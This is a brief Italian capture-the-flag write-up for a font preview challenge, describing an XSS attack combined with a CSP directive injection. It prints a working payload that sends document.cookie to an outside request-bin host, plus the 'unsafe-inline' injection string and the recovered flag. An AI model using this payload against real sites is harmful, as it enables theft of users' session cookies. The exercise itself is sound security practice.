Look my font
Il field vulnerabile è quello centrale.

Ci sono due bottoni: uno di try font e uno di share font. Quello di try ci fa una preview del font mentre quello di share manda la preview al server.

Quindi possiamo usare il try font per il debugging e lo share per mandare l'exploit.

Posso mettere questo in text:
<**img** src=x onerror=window.location="https://enyb34hv0glw8.x.pipedream.net/"+document.cookie>
Font name: nome
Font URL: ; script-src-attr 'unsafe-inline'

Occhio alle virgolette quando copio e incollo da qui sul browser!!

Una volta che lo script funziona con try basta premere invece su share e la richiesta con il flag arriverà direttamente al bin.

Il flag flag%7BCSP_1nject10n_4r3_34sy!!!%7D andrà solo ritrasformato in flag{CSP_1nject10n_4r3_34sy!!!}